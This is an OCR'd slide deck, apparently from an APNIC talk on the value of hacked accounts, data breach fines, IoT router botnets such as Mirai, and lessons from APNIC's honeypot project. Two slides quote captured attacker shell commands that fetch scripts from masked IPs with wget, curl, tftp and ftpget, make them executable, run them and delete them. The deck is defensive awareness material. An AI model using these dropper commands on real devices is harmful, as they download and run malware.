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You are already affected
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Value of a Hacked Email Account

Your messages, calendar

Commercial Email

Your Google/Skype Chats

Phishing, Malware

Your photos Privacy Spam

Stranded Abroad Scam

Call records (+mobile acct)

Facebook, Twitter Spam

Your Location (+mobilefitunes)

Email Signature Spam

 Hacked Email )
Facebook, Twitter, Tumbler ~ _~

Macys, Amazon, Walmart

Harvesting

iTunes, Skype, Bestbuy Retail Resale

Email, Chat contacts

File hosting accounts

Google Docs, MS Drive

Spotify, Hulu+, Netflix

Origin, Steam, Crossfire

Bank accounts

Email Acct. Ransom

Financial Employment

Change of Billing

Cyberheist Lure

APNIC

Dropbox, Box.com

Software License Keys

Forwarded Works Docs

Forwarded Work Email

Fedex, UPS, Pitney Bowes Acct

Salesforce, ADP Accounts

Source: krebsonsecurity.com
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Value of a Hacked Computer
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Value of a Hacked Company

rdsllechial Propenty
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Physical
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Cost of a Data Breach
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TalkTalk fined £400,000 for data breach 4 H»# =)

~ i

Morgan Stanley fined $1 Million for Client Data Breach L

Advocate Health Care Settles Potential HIPAA Penalties for $5.55 Million

UK businesses could face up to £122bn in penalties for data breaches when

GDPR has been implemented
— Up to €20 million, or 4% of the company’s worldwide annual revenue

OAIC (Office of the Australian Information Commissioner) can seek civil

penalties of up to $420,000 for individuals and up to $2.1 million for companies,
for serious or repeated interference with privacy




Security Breaches

World's Biggest Data Breaches .2

teresting story
Selected losses greater than 30,000 records

(updated 10th Sep 2017)

BUBBLE COLOUR 20z NO OF RECORDS STOLEN [EP = EINaAS SHOW FILTER

A
[2017 )

Ref:
http://www.informationisbeautiful.net/
visualizations/worlds-biggest-data-
breaches-hacks/

Shortened: https://goo.gl/P1279w




Security Breaches
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Security Breaches

« Common vulnerabilities can lead to mass compromises

January 08, 2008

Mass SQL injection attack compromises 70,000

websites
Updated Wed., Jan. 9, 2008, at 4:37 p.m. EST ﬁ
An automated SQL injection attack, which at one point compromised more than 70,000 websites, 0

hijacked visitors' PCs with a variety of exploits last week, according to researchers.

Is your website at risk from the 50,000 compromised WordPress sites?

JULY 28,2014 | INAPPLICATION SECURITY | BY VENKATESH SUNDAR




Observations from APNIC
Community Honeynet Project
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Routers As A Target (aka the loT Botnet)

 Ubiquitous

o Enterprises, Small Businesses Home Networks q

o Accessible via the internet (public IP address) _ _ o
o Always on THE BOTNET THAT BRORE THE
o Misconfigured and Vulnerable services INTERNET ISNT GOING AWA)
o Weak authentication

o Linux/ Unix Based Operating Systems

- 2014

— Moose, MrBlack, TheMoon
— Malware targeting specific router brands

— Carry out DDoS Attack
« 2016 - Now

— Remaiten
— Mirai Botnet (includes DVR)

— Mirai Variants — Satori, Owari, Reaper
— VPNFilter

APNIC ¢ y




APNIC Community Honeynet Project

» Started in 2015
* Distributed Honeypots*

* Partners mainly in the AP region

« Observe and learn about attacks on the
Internet

* Information sharing with APNIC = —_—
members, CERTs/CSIRTs and Security e pr——

. o - o = password _
Community —ailmin =~ =

——




Learning from Actual Compromise

Honeypot used — Kippo & Cowrie (open source software)

Emulate login on port 22 (ssh) and port 23

Present attacker with file system

Capture commands and allow attacker to download scripts/binaries (payload)

Quick Demo https://jp.fsck.my/viz/




Getting In — Authentication

40\ x56
4D\x56

LD\ x56




What happens after login?

curl http://185.X.Y.198:9092/in: waet http://185.X.Y.198:9092/ip:
cd /tmp || cd /var/run || cd /Imnt || cd /root ||

cd / wget http://184.X.Y.205/bins.sh; curl -O ;

chmod 777 bins.sh; sh bins.sh; titp 184.X.Y.205 -c get tftp1.sh; chmod 777
tftp1.sh;

sh tftp1.sh; tftp -r tfitp2.sh -g 184.X.Y.205;

chmod 777 tftp2.sh; sh tftp2.sh;
ftpget -v -u anonymous -p anonymous -P 21 164.A.7.£UD TIp1.SN TIP1.SI |

sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2

APNIC 4 T Seef)



http://184.x.y.205/bins.sh

Another Example

cd /tmp || cd /var/run || cd /mnt || cd /root ||

chmod 777 sensi.sh; sh sensi.sh;

tftp -r sensi2.sh -@94.X.Y.239 chmod 777 sensi2.sh; sh sensi2.sh;
ftpget -v -u anonymous -p anonymous -P 21894 .X.Y.2358sensi1.sh sensi1.sh;

sh sensi1.sh; rm -rf sensi.sh sensi.sh sensi2.sh sensi1.sh; bash remove.sh

APNIC ¢



What can we learn!

 Exposed services on the Internet can be identified
— Don’t expose them on the internet or limit where they can be access from

« Weak and default authentication (guessable username/password) can be
easily abused

» Attacker used other compromised devices to host malicious scripts

» Attacker use the Internet to host their attacking infrastructure!
— DNS, Proxies, Command and Control etc




How to protect?

« Up-to-date software/OS
» Strong password

« ACL/Firewall

* Antivirus Software

 Intrusion Detection System
 Intrusion Prevention System

* more....

APNIC ¢ .




Interest of Honeynet
Contact
Senior Internet Security Specialist

— Adli Wahid, Security Specialist @ APNIC

— Email: gadli@apnic.net

— Blog: bitps//blog.apnicnet

— Interests: Computer Security & Incident Response,
Security Outreach, Honeynets

— Twitter: @adliwahid



mailto:adli@apnic.net
https://blog.apnic.net/
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